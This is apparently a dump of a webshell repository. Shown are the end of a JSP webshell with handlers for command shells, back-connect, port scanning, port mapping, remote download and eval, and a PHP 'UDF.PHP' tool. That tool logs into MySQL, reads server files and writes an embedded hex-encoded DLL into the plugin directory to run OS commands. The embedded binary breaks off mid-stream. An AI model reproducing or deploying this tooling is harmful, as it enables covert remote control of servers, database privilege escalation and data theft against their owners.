"); 3177 | } catch (Exception e) { 3178 | throw e ; 3179 | } 3180 | } 3181 | } 3182 | //Session Manager 3183 | private static class SmInvoker extends DefaultInvoker { 3184 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 3185 | try { 3186 | String type = request.getParameter("type"); 3187 | PrintWriter out = response.getWriter(); 3188 | if (type.equals("update")) { 3189 | String name = request.getParameter("name"); 3190 | String value = request.getParameter("value"); 3191 | JSession.setAttribute(name,value); 3192 | JSession.setAttribute(MSG,"Update/Add Attribute Success !"); 3193 | } else if (type.equals("delete")) { 3194 | String name = request.getParameter("name"); 3195 | JSession.removeAttribute(name); 3196 | JSession.setAttribute(MSG,"Remove Attribute Success !"); 3197 | } 3198 | ((Invoker)ins.get("vother")).invoke(request,response,JSession); 3199 | } catch (Exception e) { 3200 | 3201 | throw e ; 3202 | } 3203 | } 3204 | } 3205 | 3206 | static{ 3207 | ins.put("script",new ScriptInvoker()); 3208 | ins.put("before",new BeforeInvoker()); 3209 | ins.put("after",new AfterInvoker()); 3210 | ins.put("deleteBatch",new DeleteBatchInvoker()); 3211 | ins.put("clipboard",new ClipBoardInvoker()); 3212 | ins.put("vPortScan",new VPortScanInvoker()); 3213 | ins.put("portScan",new PortScanInvoker()); 3214 | ins.put("vConn",new VConnInvoker()); 3215 | ins.put("dbc",new DbcInvoker()); 3216 | ins.put("executesql",new ExecuteSQLInvoker()); 3217 | ins.put("vLogin",new VLoginInvoker()); 3218 | ins.put("login",new LoginInvoker()); 3219 | ins.put("filelist", new FileListInvoker()); 3220 | ins.put("logout",new LogoutInvoker()); 3221 | ins.put("upload",new UploadInvoker()); 3222 | ins.put("copy",new CopyInvoker()); 3223 | ins.put("bottom",new BottomInvoker()); 3224 | ins.put("vCreateFile",new VCreateFileInvoker()); 3225 | ins.put("vEdit",new VEditInvoker()); 3226 | ins.put("createFile",new CreateFileInvoker()); 3227 | ins.put("vEditProperty",new VEditPropertyInvoker()); 3228 | ins.put("editProperty",new EditPropertyInvoker()); 3229 | ins.put("vs",new VsInvoker()); 3230 | ins.put("shell",new ShellInvoker()); 3231 | ins.put("down",new DownInvoker()); 3232 | ins.put("vd",new VdInvoker()); 3233 | ins.put("downRemote",new DownRemoteInvoker()); 3234 | ins.put("index",new IndexInvoker()); 3235 | ins.put("mkdir",new MkDirInvoker()); 3236 | ins.put("move",new MoveInvoker()); 3237 | ins.put("removedir",new RemoveDirInvoker()); 3238 | ins.put("packBatch",new PackBatchInvoker()); 3239 | ins.put("pack",new PackInvoker()); 3240 | ins.put("unpack",new UnPackInvoker()); 3241 | ins.put("vmp",new VmpInvoker()); 3242 | ins.put("vbc",new VbcInvoker()); 3243 | ins.put("backConnect",new BackConnectInvoker()); 3244 | ins.put("jspEnv",new JspEnvInvoker()); 3245 | ins.put("smp",new SmpInvoker()); 3246 | ins.put("mapPort",new MapPortInvoker()); 3247 | ins.put("top",new TopInvoker()); 3248 | ins.put("vso",new VOnLineShellInvoker()); 3249 | ins.put("online",new OnLineInvoker()); 3250 | ins.put("enter",new EnterInvoker()); 3251 | ins.put("export",new ExportInvoker()); 3252 | ins.put("ev",new EvalInvoker()); 3253 | ins.put("eu",new EvalUploadInvoker()); 3254 | ins.put("vother",new VOtherInvoker()); 3255 | ins.put("sm",new SmInvoker()); 3256 | ins.put("vExport",new VExport2FileInvoker()); 3257 | ins.put("vPack",new VPackConfigInvoker()); 3258 | ins.put("reflect",new ReflectInvoker()); 3259 | ins.put("portBack",new PortBackInvoker()); 3260 | } 3261 | %> 3262 | <% 3263 | try { 3264 | String o = request.getParameter("o"); 3265 | if (Util.isEmpty(o)) { 3266 | if (session.getAttribute(SESSION_O) == null) 3267 | o = "index"; 3268 | else { 3269 | o = session.getAttribute(SESSION_O).toString(); 3270 | session.removeAttribute(SESSION_O); 3271 | } 3272 | } 3273 | Object obj = ins.get(o); 3274 | if (obj == null) { 3275 | response.sendRedirect(SHELL_NAME); 3276 | } else { 3277 | Invoker in = (Invoker)obj; 3278 | if (in.doBefore()) { 3279 | String path = request.getParameter("folder"); 3280 | if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null) 3281 | session.setAttribute(CURRENT_DIR,path); 3282 | ((Invoker)ins.get("before")).invoke(request,response,session); 3283 | ((Invoker)ins.get("script")).invoke(request,response,session); 3284 | ((Invoker)ins.get("top")).invoke(request,response,session); 3285 | } 3286 | in.invoke(request,response,session); 3287 | if (!in.doAfter()) { 3288 | return; 3289 | }else{ 3290 | ((Invoker)ins.get("bottom")).invoke(request,response,session); 3291 | ((Invoker)ins.get("after")).invoke(request,response,session); 3292 | } 3293 | } 3294 | } catch (Exception e) { 3295 | Object msg = session.getAttribute(MSG); 3296 | if (msg != null) { 3297 | Util.outMsg(out,(String)msg); 3298 | session.removeAttribute(MSG); 3299 | } 3300 | if (e.toString().indexOf("ClassCastException") != -1) { 3301 | Util.outMsg(out,MODIFIED_ERROR + BACK_HREF); 3302 | } 3303 | ByteArrayOutputStream bout = new ByteArrayOutputStream(); 3304 | e.printStackTrace(new PrintStream(bout)); 3305 | session.setAttribute(CURRENT_DIR,SHELL_DIR); 3306 | Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","
"),"left"); 3307 | bout.close(); 3308 | out.flush(); 3309 | ((Invoker)ins.get("bottom")).invoke(request,response,session); 3310 | ((Invoker)ins.get("after")).invoke(request,response,session); 3311 | } 3312 | %> 3313 | -------------------------------------------------------------------------------- /jspspy.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/webshell/c3008de8e2ee546eff601720a349edafb93da603/jspspy.war -------------------------------------------------------------------------------- /udf.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | T00ls UDF.PHP 7 | 10 | 18 | 19 | 20 | 54 |
ip:
uid:
pwd:
db:
 
'; 55 | } 56 | function func(){ 57 | $conn = conn(false); 58 | mysql_select_db('mysql',$conn); 59 | mysql_query('CREATE TABLE `func` ( `name` char(64) collate utf8_bin NOT NULL default \'\', `ret` tinyint(1) NOT NULL default \'0\', `dl` char(128) collate utf8_bin NOT NULL default \'\', `type` enum(\'function\',\'aggregate\') character set utf8 NOT NULL, PRIMARY KEY (`name`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=\'User defined functions\''); 60 | if (mysql_errno($conn) != 0) { 61 | echo mysql_error() . '
'; 62 | } 63 | echo 'Create mysql.func success !'; 64 | mysql_close($conn); 65 | } 66 | function conn($close = true) { 67 | if (isset($_SESSION['host'])) { 68 | $host = $_SESSION['host']; 69 | $uid = $_SESSION['uid']; 70 | $pwd = $_SESSION['pwd']; 71 | $db = $_SESSION['db']; 72 | } else { 73 | $host = $_POST['host']; 74 | $uid = $_POST['uid']; 75 | $pwd = $_POST['pwd']; 76 | $db = $_POST['db']; 77 | } 78 | $conn = mysql_connect($host,$uid,$pwd); 79 | if (!$conn) { 80 | echo mysql_error().'
'; 81 | vConn(); 82 | exit(); 83 | } 84 | mysql_select_db($db,$conn); 85 | if (mysql_errno($conn) != 0) { 86 | echo mysql_error().'
'; 87 | vConn(); 88 | exit(); 89 | } 90 | $_SESSION['host'] = $host; 91 | $_SESSION['uid'] = $uid; 92 | $_SESSION['pwd'] = $pwd; 93 | $_SESSION['db'] = $db; 94 | //mysql_query('set names utf8'); 95 | showM($conn,$close); 96 | return $conn; 97 | } 98 | function logout(){ 99 | unset($_SESSION['host']); 100 | unset($_SESSION['uid']); 101 | unset($_SESSION['pwd']); 102 | unset($_SESSION['db']); 103 | unset($_SESSION['notsame']); 104 | unset($_SESSION['over51']); 105 | unset($_SESSION['plugindir']); 106 | $url = $_SERVER['PHP_SELF']; 107 | $filename = end(explode('/',$url)); 108 | echo ''; 109 | } 110 | function showM(&$conn,$close = true){ 111 | echo '
t00ls UDF.PHP
'; 112 | echo '
'; 113 | echo '
'; 114 | $sql = 'select concat(\'user():\',user()) as m union select concat(\'database():\',database()) union select concat(\'datadir:\',@@datadir) union select concat(\'basedir:\',@@basedir) union select concat(\'version():\',version()) ;'; 115 | $meta = mysql_query($sql,$conn); 116 | $tmp = 1; 117 | while ($row = mysql_fetch_array($meta,MYSQL_ASSOC)) { 118 | echo $row['m']; 119 | if ($tmp == 1) { 120 | $tmp = 2; 121 | $h = substr($row['m'],strpos($row['m'],'@')+1); 122 | if ($h != 'localhost') { 123 | echo ' [web and db is not the same server.]'; 124 | $_SESSION['notsame'] = 'true'; 125 | } 126 | } 127 | echo '
'; 128 | } 129 | echo 'plugin_dir:'; 130 | $meta = mysql_query('show variables like "plugin_dir"'); 131 | if (mysql_num_rows($meta)==0) { 132 | echo 'mysql is under 5.1 , '; 133 | if (!isset($_SESSION['notsame'])) 134 | echo ' u can dump udf.dll to any directory in follow paths'; 135 | echo ''; 136 | } else { 137 | //over 5.1 138 | $_SESSION['over51'] = 'true'; 139 | $row = mysql_fetch_row($meta); 140 | $_SESSION['plugindir'] = str_replace('\\','\\\\',str_replace('/','\\',$row[1])).'\\\\udf.dll'; 141 | echo ''.str_replace('/','\\',$row[1]).''; 142 | echo ' (mysql over 5.1, udf.dll can only dump to plugin_dir) '; 143 | if (isset($_SESSION['notsame'])) 144 | echo ' [maybe dump dll will be failed!]'; 145 | else { 146 | if (!file_exists(str_replace('/','\\',$row[1]))) 147 | echo ' Create PluginDir'; 148 | else 149 | echo ' exists!'; 150 | } 151 | } 152 | echo '
'; 153 | if (!isset($_SESSION['notsame']) && !isset($_SESSION['over51'])) 154 | echo 'path:'.getenv('path').'
'; 155 | $meta = mysql_query('select 1,1,1,1 from mysql.user union select * from mysql.func'); 156 | if (mysql_num_rows($meta)==0) 157 | echo 'Mysql.Func : dont exist! must create mysql.func first!'; 158 | else 159 | echo 'Mysql.Func : exist!'; 160 | echo '
'; 161 | echo 'grants : '; 162 | $meta = mysql_query('show grants;',$conn); 163 | while ($row = mysql_fetch_row($meta)) { 164 | echo $row[0]; 165 | } 166 | echo ''; 167 | echo '
'; 168 | if ($close) 169 | mysql_close($conn); 170 | echo '
'; 171 | if (isset($_POST['path'])) { 172 | $path = $_POST['path']; 173 | if (get_magic_quotes_gpc()) 174 | $path = stripslashes($path); 175 | } 176 | else 177 | $path = isset($_SESSION['plugindir']) ? $_SESSION['plugindir'] : 'c:\\\\windows\\\\system32\\\\udf.dll'; 178 | echo '
'; 179 | echo '
'; 180 | echo '
please convert \\ to \\\\
'; 181 | if (isset($_POST['sql'])) 182 | $sql = $_POST['sql']; 183 | else 184 | $sql = 'select * from mysql.user'; 185 | if (get_magic_quotes_gpc()) 186 | $sql = stripslashes($sql); 187 | if (isset($_POST['dump'])) 188 | $sql = 'select shell(\'cmd\',\'whoami\')'; 189 | echo '

'; 190 | } 191 | function cplug(){ 192 | $path = $_GET['dir']; 193 | $path = base64_decode($path); 194 | $arr = explode('\\',$path); 195 | $p = ''; 196 | $err = ''; 197 | for ($index = 0,$count = count($arr);$index<$count;$index++) { 198 | $p .= ($arr[$index] . '\\'); 199 | if (!file_exists($p)) { 200 | if (!mkdir($p)) { 201 | $err = 'create '.$p.'failed !'; 202 | break; 203 | } 204 | } 205 | } 206 | conn(); 207 | if ($err != '') 208 | exit($err); 209 | if (file_exists($path)) 210 | echo 'plugin_dir create success !'; 211 | else 212 | echo 'plugin_dir create failed !'; 213 | } 214 | function execsql() { 215 | $conn = conn(false); 216 | $sql = $_POST['sql']; 217 | if (get_magic_quotes_gpc()) 218 | $sql = stripslashes($sql); 219 | $rs = mysql_query($sql,$conn); 220 | echo mysql_info($conn); 221 | if (@mysql_num_rows($rs) > 0) { 222 | echo ''; 223 | $cols = mysql_num_fields($rs); 224 | $index = 0; 225 | echo ''; 226 | while ($index < $cols) { 227 | echo ''; 228 | $index ++; 229 | } 230 | echo ''; 231 | while ($row = mysql_fetch_row($rs)) { 232 | $index = 0; 233 | echo ''; 234 | while ($index < $cols) { 235 | echo ''; 238 | $index ++; 239 | } 240 | echo ''; 241 | } 242 | echo '
'.mysql_field_name($rs,$index).'
'; 236 | echo str_replace(chr(13),'
',htmlspecialchars($row[$index])); 237 | echo '
'; 243 | } 244 | if (mysql_errno($conn) != 0) 245 | echo mysql_error(); 246 | mysql_close($conn); 247 | } 248 | function cp(){ 249 | $conn = conn(false); 250 | $source = $_POST['source']; 251 | $target = $_POST['target']; 252 | if (get_magic_quotes_gpc()) { 253 | $source = stripslashes($source); 254 | $target = stripslashes($target); 255 | } 256 | mysql_query('select unhex(hex(load_file("'.$source.'"))) into dumpfile "'.$target.'"'); 257 | if (mysql_errno($conn) != 0) 258 | echo mysql_error().'
'; 259 | else 260 | echo 'done !'; 261 | mysql_close($conn); 262 | } 263 | function install() { 264 | //dump udf.dll 265 | $conn = conn(false); 266 | $path = $_POST['path']; 267 | if (get_magic_quotes_gpc()) 268 | $path = stripslashes($path); 269 | mysql_query('create table udftmp (c blob)'); 270 | if (mysql_errno($conn) != 0) { 271 | echo mysql_error().'
'; 272 | mysql_query('drop table udftmp'); 273 | mysql_close($conn); 274 | exit(); 275 | } 276 | mysql_query('insert into udftmp values(convert(0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000007148657F35290B2C35290B2C35290B2C35290B2C3F290B2CF626562C31290B2C4E35072C34290B2C5A36012C31290B2CB635052C36290B2C5A360F2C31290B2C5A36002C34290B2C5736182C3E290B2C35290A2C56290B2CF6266B2C38290B2CF626572C34290B2CF626512C34290B2C5269636835290B2C00000000000000000000000000000000504500004C010400BFC7514B0000000000000000E0000E210B01070A00220000001C0000000000002D300000001000000040000000000010001000000002000004000000000000000400000000000000008000000004000000000000020000000000100000100000000010000010000000000000100000002052000070000000A44A0000B40000000000000000000000000000000000000000000000000000000070000064020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000004C0100000000000000000000000000000000000000000000000000002E746578740000000C210000001000000022000000040000000000000000000000000000200000602E7264617461000090120000004000000014000000260000000000000000000000000000400000402E64617461000000500000000060000000020000003A0000000000000000000000000000400000C02E72656C6F630000080400000070000000060000003C00000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000558BEC83EC14578D45FC506A28FF156040001050FF151C4000108B450CF7D81BC083E0028945F88D45F050FF7508C745EC010000006A00FF15204000106A006A006A108D45EC506A00FF75FCFF15244000108BF885FF7500FF75FCFF15A44000108BC75FC9C3558BEC81EC8004000053568B35804000105733DB538D45D4508D45EC5033FF8D45F44750885DFF885DFEC745D40C000000895DD8897DDCFFD685C00F84F3000000538D45D4508D45E4508D45F050FFD685C00F84DC0000008D458050FF15844000108B45F08945B88B45EC8945C08945BC8D45C4508D458050535353575353FF750CC745AC010100005366895DB0FF158840001085C00F84980000008B3534400010C645FF01FFD68B3D8C4000108945E8EB67395DF87642B8000400003945F872038945F8538D45E050FF75F88D8580FBFFFF50FF75F4FF159040001085C07453FF75E08B4D088B018D9580FBFFFF52FF5004FFD68945E8EB1853FF75C4FF159440001085C0742CFFD62B45E83B4510731E6A07FF159C400010538D45F850535353FF75F4895DF8FFD785C07585EB04C645FE01FF15A0400010385DFF8B35A44000108BF8741E385DFE740F395D14740A53FF75C4FF15A8400010FF75C8FFD6FF75C4FFD6395DF07405FF75F0FFD6395DEC7405FF75ECFFD6395DE47405FF75E4FFD6395DF47405FF75F4FFD657FF15B04000105F5E33C05BC9C3837C24040274138B44240C8B08686041001050FF51085959EB48568B74240C57566A02E8A2010000050004000050FF1508410010FF76048BF8685041001057FF15044100106A0168E02E000057FF742438E80FFEFFFF57FF150041001083C42C5F5E33C0C3837C24040274138B44240C8B08687C41001050FF51085959EB1A8B4424086A0068D0070000FF7004FF742418E8CFFDFFFF83C41033C0C38BC18B4C24048948088B4C240889480C8A4C240CC70098410010884804C7401002000000C20C00C70198410010C3F644240401568BF1C70698410010740756E8021C0000598BC65EC20400565733FF8BF147397E087E52807E04008B460C8B04B88A08741D80F92F740580F92D753440803800742EFF74240C50FF150C410010EB1B80F92F740580F92D7517408038007411FF74240C50FF15F840001085C05959740D473B7E087CAE32C05F5EC20400B001EBF756578BF1836614006A025F397E087E62807E04008B460C8B44B8FC8A08741D80F92F740580F92D753440803800742EFF74240C50FF150C410010EB1B80F92F740580F92D7517408038007411FF74240C50FF15F840001085C059597408473B7E087CADEB0D8B460C8B04B847894614897E108B46145F5EC20400565733FF33F6397C240C7E188B442410FF34B8E8111B0000473B7C2410598D7406017CE85F8BC65EC333C0390510600010740D5050A310600010FF15444100108B0D24600010E89A0E00008B4C240489410C32C0C38B442404FF700C8B0D24600010E875180000C3558BEC518B0D246000108365FC00568B7514568D45FC508B450CFF7008FF308B4508FF700CE80F190000833EFF7516837DFC00740DFF75FCE8841A0000598906EB038326008B45FC8B551885C00F94C1880A5EC9C3837C240801752B8B4424046A2CA320600010E85B1A000085C05974098BC8E879180000EB0233C085C0A324600010752AEB2B837C24080075218B0D2460001085C97417568BF1E8BE17000056E80A1A000083252460001000595E33C040C20C00558BEC83EC1453578D45F8506A08FF750833DB895DF8895DF4FF151C4000108BF83BFB7467568B35144000108D45FC5053536A01FF75F8895DFCFFD6395DFC8BF87648FF75FCE8C7190000598D4DFC51FF75FC8945F4506A01FF75F8FFD68BF83BFB74278D45EC508D45F050FF750C8D451450FF75108B45F4C745F004010000FF3053FF15184000108BF85E395DF87409FF75F8FF15A4400010395DF47409FF75F4E854190000598BC75F5BC9C38B4424048B0868A041001050FF51085959C3558BECB838250000E85B1900006683A5D4FDFFFF006683A5D8FEFFFF005356576A4033C0598DBDD6FDFFFFF3AB66AB6A4033C0598DBDDAFEFFFFF3AB33DB43395D0C66AB8BC3C645FD00C645FA00C645FF00C645FE00C645FB00C645FC008945F40F86B30000008B75108B3DFC400010C1E0028B0C3080392D75710FBE510183EA6B743A4A74314A7562837D0C030F8C900000008A490280F970C645FA01741280F97375478B443004C645FE018945DCEB3AC645FF01EB1DC645FD01EB2E837D0C037C670FBE490283E96E74144949751BC645FB01FF743004FFD7598945ECEB0B8B443004C645FC018945E08B45F4403B450C8945F40F8274FFFFFF807DFD007530807DFF00752A807DFE007524807DFB00751E807DFC007518FF7508E8CCFEFFFFEB4368CC420010EB3268B0420010EB2B53689C420010E81BF9FFFF59598D45E45068001000008D85C8DAFFFF50E8E619000085C0751768804200108B45088B0850FF510859598BC3E9B30200008365F400F745E4FCFFFFFF0F86A00200008D9DC8DAFFFFBE04010000FF338B3D384000106A006810040000FFD785C089450C0F84640200008365E80068001000008D85C8EAFFFF6A0050E89A170000568D85D4FDFFFF6A0050E88B170000568D85D8FEFFFF6A0050E87C170000568D85D0FCFFFF6A0050E86D170000568D85CCFBFFFF6A0050E85E170000568D85D4FDFFFF508D85D8FEFFFF50FF750CE82FFDFFFF83C44C8D45E85068001000008D85C8EAFFFF50FF750CE80819000085C0742C568D85D0FCFFFF50FFB5C8EAFFFFFF750CE8E8180000568D85CCFBFFFF50FFB5C8EAFFFFFF750CE8CC180000807DFB0074078B45EC3903741C807DFC007463FF75E08D85CCFBFFFF50FF15CC40001085C05959754DFF750CFF15A4400010FF336A006A01FFD785C08B7D0889450C74358B078D8DD0FCFFFF518D8DD4FDFFFF518D8DD8FEFFFF51FF33687042001057FF500883C4186A00FF750CFF15A8400010EB038B7D08807DFD0074258B078D8DD0FCFFFF518D8DD4FDFFFF518D8DD8FEFFFF51FF33687042001057FF500883C418807DFF0074148B45EC3B03750D8B07685442001057FF50085959807DFA000F84DE0000008365F000F745E8FCFFFFFF0F86CD000000807DFF0074568B45EC3B030F85BC000000568D85C8FAFFFF6A0050E8031600008B7DF083C40C568D85C8FAFFFF508DBCBDC8EAFFFFFF37FF750CE8BA170000FF378B45088B088D95C8FAFFFF52684442001050FF51088B7D0883C410807DFE007459568D85CCFBFFFF508B45F0FFB485C8EAFFFFFF750CE87717000085C0743BFF75DC8D85CCFBFFFF50FF15EC40001085C0595974258B078D8DD0FCFFFF518D8DD4FDFFFF518D8DD8FEFFFF51FF33687042001057FF500883C4188B45E8FF45F0C1E8023945F00F8233FFFFFFFF750CFF15A44000108B45E4FF45F4C1E80283C3043945F40F826BFDFFFF33C05F5E5BC9C3558BEC51568D45FC50681900020033F656FF750CFF7508FF150840001085C075278D451850FF75145656FF7510FF75FCFF150C40001085C07403897518FF75FCFF1510400010EB038975188B45185EC9C3558BEC5151538B5D10578D45FC50FF750C33FF397D20FF7508897DF87508FF1528400010EB2FFF152C40001085C0757957578D4514505753FF75FCFF150C40001085C07564837D2002750E53FF75FCFF150040001085C07550837D1401568B35044000107406837D1402751CFF7518E860140000594050FF7518FF75145753FF75FCFFD685C07520837D140475136A048D451C506A045753FF75FCFFD685C07507C745F8010000005EFF75FCFF15104000108B45F85F5BC9C3558BEC51576810430010FF15404000108BF885FF744A53568B353C40001068FC42001057FFD68BD885DB743268E842001057FFD68BF085F674248D45FC506A016A016A13FFD63D7C0000C0750C8D45FC506A006A016A13FFD6FF7508FFD35E5B5FC9C3566A016870430010E8B7F4FFFF8B7424108B06685843001056FF50088B44241C33C983C4103BC175135151FF152C41001085C075566844430010EB3083F8017514516A06FF152C41001085C0753D6830430010EB1783F802751B516A0CFF152C41001085C07524681C4300108B0656FF500859EB1583F80375046A01EB0783F80475086A02E813FFFFFF5933C0405EC3558BEC837D0C027C288B45108B400480382D751D4050FF15FC40001085C0597C1083F8047F0B50FF7508E841FFFFFFEB0E8B45088B08688843001050FF5108595933C05DC3A13060001085C0752168504400106844440010FF154040001050FF153C40001085C0A3306000107501C36A01FF74240C6A00FFD00FB6C0C3A12860001085C07521686C4400106860440010FF154040001050FF153C40001085C0A3286000107501C36A01FF742408FFD0C3558BEC83EC6456578D45E8508D45E4506A0133FF5757E85D1400003BC78945DC751F8B75088B3EFF15A040001050681045001056FF570883C40C33C0E929010000538B5D088B0368B844001053FF5008397DE88B75E45959897DF00F86FD0000008D45EC508D45FC506A0E897DFC897DF8897DF4FF3657E8F61300008D45EC508D45F8506A0AFF3657E8E41300008D45EC508D45F4506A05FF3657E8D2130000FF7608E825FFFFFF5957576A208D4D9C51508945E0FF15E4400010598D44000250FF75E05757FF15444000108B45FC83380275280FB64809510FB64808510FB648070FB6400651508D45BC68AC44001050FF150441001083C418EB118D45BC68A444001050FF150441001059598B038D4D9C518D4DBC51FF75F8FF75F4FF7604FF36687C44001053FF500883C420FF75FCE836130000FF75F8E82E130000FF75F4E82613000057E82013000083C60CFF45F08B45F03B45E80F8203FFFFFFFF75E4E8061300008B45DC5B5F5EC9C3560FB774240C85F674426A00566A006A0468E045001068984500106802000080E811FCFFFF83C41C85C08B4424088B08740F56686445001050FF510883C40C5EC3683C45001050FF510859595EC3558BEC83EC0C8365F8008365FC0056576A048D45FC50BF9C460010576870460010BE0200008056C745F401000000E864FBFFFF83C41485C07449837DFC0275436A048D45FC5057684046001056E845FBFFFF83C41485C0742A837DFC0275246A048D45F8506834460010BF004600105756E821FBFFFF83C41485C07406837DF800750432C0EB246A048D45F45068EC4500105756E8FEFAFFFF83C41485C07504B001EB07837DF4000F94C05F5EC9C3E84CFFFFFF84C0B9D04600107505B9C44600108B4424048B105168A446001050FF520883C40CC3558BEC83EC108D45FC5068190002006A0068984500106802000080C745F83D0D0000C745F004000000C745F450000000FF150840001085C075488D45F4508D45F8508D45F0506A0068E0450010FF75FCFF150C40001085C0751FFF75F88B45088B0868F046001050FF510883C40CFF75FCFF1510400010C9C3FF75FCFF15104000108B45088B0868D846001050FF51085959C9C3FF742404E83CFFFFFF59E95DFFFFFF515355565733DB536A02536A04BF9C460010576870460010BE0200008056E84CFAFFFF536A02536A0457684046001056E83AFAFFFF8944244833C0385C24546A010F94C0BF0046001050536A0468EC4500105756E816FAFFFF8BE883C4543BEB7406385C241C742133C0385C241C530F95C050536A0468344600105756E8EDF9FFFF83C41C3BC375043BEB7420395C2410741A385C241C8B4424188B0874076850470010EB126830470010EB0B8B4424188B08680C47001050FF510859595F5E5D5B59C3B802310010E8D10E000083EC18837D0C027D158B45088B0868A047001050FF51085959E9EE00000053565733F656FF75108D4DDCFF750CE8ECF1FFFF68984700108D4DDC8975FCE890F2FFFF8B5D0833FF4785C07415FF75F08BF7FF15FC4000105053E80DFDFFFF83C40C68904700108D4DDCE8FBF1FFFF84C0740357EB1368884700108D4DDCE8E7F1FFFF84C0740C6A00538BF7E8A2FEFFFF595968804700108D4DDCE8CAF1FFFF84C07409538BF7E878FEFFFF5968784700108D4DDCE8B0F1FFFF84C07409538BF7E838FBFFFF5968704700108D4DDCE8FFF1FFFF85C07415FF75F08BF7FF15FC4000105053E8A9FAFFFF83C40C85F6750D8B0368A047001053FF50085959834DFCFF8D4DDCE83CF1FFFF5F5E5B8B4DF433C064890D00000000C9C3568B7424108326006A106890490010FF742414E8BF0D000083C40C85C075108B44240889068B0850FF510433C0EB05B8024000805EC20C008B44240483C00450FF1548400010C20400568B742408578D460450FF154C4000108BF885FF750D85F674098B066A018BCEFF500C8BC75F5EC20400F644240401568BF1C70680490010740756E8C10C0000598BC65EC20400568BF18B861C0100005733FF3BC7740D50FF155840001089BE1C0100008B86180100003BC7740D50FF15A440001089BE180100005757576A0457FF760CFF15544000103BC7898618010000750433C0EB15575757681F000F0050FF155040001089861C0100005F5EC383B91C0100000074128B490C83F9FF740A6A0051FF155C400010C333C0C351FF1548400010C38B4424048B1534600010EB028BC18B48083BCA75F7C38B4424048B1534600010EB028BC18B083BCA75F8C38B5424048B02568B700889328B70083B353460001074038956048B72048970048B49043B51045E7505894104EB0F8B4A043B51087505894108EB028901895008894204C20400568BF18B0E83791400750D8B410439480475058B4108EB1E8B013B0534600010740D50E867FFFFFF59EB0B89068BC88B41043B0874F589065EC3568BF18B0E8B41083B0534600010740D50E855FFFFFF59EB1389068BC88B41043B480874F48B0E394108740289065EC38B44240485C0740E8B4C24088B1189108B4904894804C353568BF133DB895E04C74608A049001068C849001053C706B8490010C74608AC490010FF15D8400010834E0CFF5959885E10899E18010000899E1C010000C78614010000010000008BC65E5BC3558BECB800200000E80C0B00008D451050FF750C8D8500E0FFFF50FF15D44000108B4D088B1183C40C508D8500E0FFFF50FF5204C9C3568BF1E814000000F644240801740756E8A10A0000598BC65EC20400568BF18B861C01000085C0C706B8490010C74608AC490010740750FF15584000108B861801000085C0578B3DA4400010740350FFD78B460C83F8FF740350FFD783BE14010000005F740F8D4610803800740750FF15AC400010C706804900105EC3566820010000E8450A000085C059740B8BC8E8E9FEFFFF8BF0EB0233F685F674068B0656FF50048BC65EC3558BEC518365FC00837D0CFF568BF1750CFF7508E8060A00005989450C837E04FF75106A016A008D4EF8E82100000085C074186A008D45FC50FF750CFF7508FF7604FF15984000108B45FC5EC9C20800558BEC81EC04010000568BF1578DBE1C0100008B0785C0740A50FF15584000108327008DBE180100008B0785C0538B1DA4400010740650FFD38327008B460C83F8FF740750FFD3834E0CFF83BE1401000000740F8D4610803800740750FF15AC400010837D08007412FF75088D7E1057E8E2090000595933DBEB278D85FCFEFFFF506804010000FF156C4000108D7E105733DB53538D85FCFEFFFF50FF156840001053536A02535368000000C057FF156440001083F8FF89460C5B7507C6070033C0EB0C8B450C89861401000033C0405F5EC9C208008B5424048B4208568B308972088B303B353460001074038956048B72048970048B49043B51045E7505894104EB0E8B4A043B1175048901EB038941088910894204C204008B41048B48048B15346000103BCA741A568B7424088B3639710C7D058B4908EB048BC18B093BCA75EE5EC204005356578B7C24103B3D346000108BD98BF7741DFF76088BCBE8E3FFFFFF8B3657E8520800003B3534600010598BFE75E35F5E5BC20400558BEC83EC105356894DF8578B7D0C8D4D0CE8AAFCFFFF8B37A1346000103BF08D5F08897DFC895DF475048B33EB188B0B3BC8741251E8F1FBFFFF8945FC83C0088B30598945F48D4DF0FF15B84000108B45FC3BC774608B0F8941048B0F89083B037505894604EB178B48048B55F4894E048B480489318B0B890A8B0B8941048B5DF88B4B043979047505894104EB0E8B4F04393975048901EB038941088B4F048948048B48148B5714895014894F14897DFC8BC7EB7B8B48048B55F8894E048B4A043979047505897104EB0E8B4F04393975048931EB038971088B4A043939894DF475238B1B3B1D3460001075078B5F048919EB1256E830FBFFFF8B55F8598B4DF489018B45FC8B5A04397B08751F8B0F3B0D3460001075088B4F04894B08EB0D56E8EEFAFFFF8943088B45FC598B5DF833FF473978140F850B010000E9B9000000397E140F85FA0000008B4E048B013BF075728B410883781400751A8978148B460483601400FF76048BCBE8E7FDFFFF8B46048B40088B0839791475088B4808397914746E8B480839791475178B0889791483601400508BCBE8A1FAFFFF8B46048B40088B4E048B49148948148B4E048979148B4008897814FF76048BCBE894FDFFFFEB7F8378140075198978148B460483601400FF76048BCBE860FAFFFF8B46048B008B4808397914751C8B083979147515836014008B76048B43043B70040F853BFFFFFFEB3C8B0839791475178B480889791483601400508BCBE836FDFFFF8B46048B008B4E048B49148948148B4E048979148B00897814FF76048BCBE8FBF9FFFF897E148D4DF0FF15BC400010FF75FCE8E7050000FF4B0C8B4508598B4D0C5F5E89085BC9C20800558BEC51568BF1837E0C008B4D0C74388B46043B087531394510752CFF70048BCEE837FDFFFF8B0D346000108B46048948048B460483660C0089008B46048940088B46048B08EB253B4D107420578BF98D4D0CE8FCF9FFFF5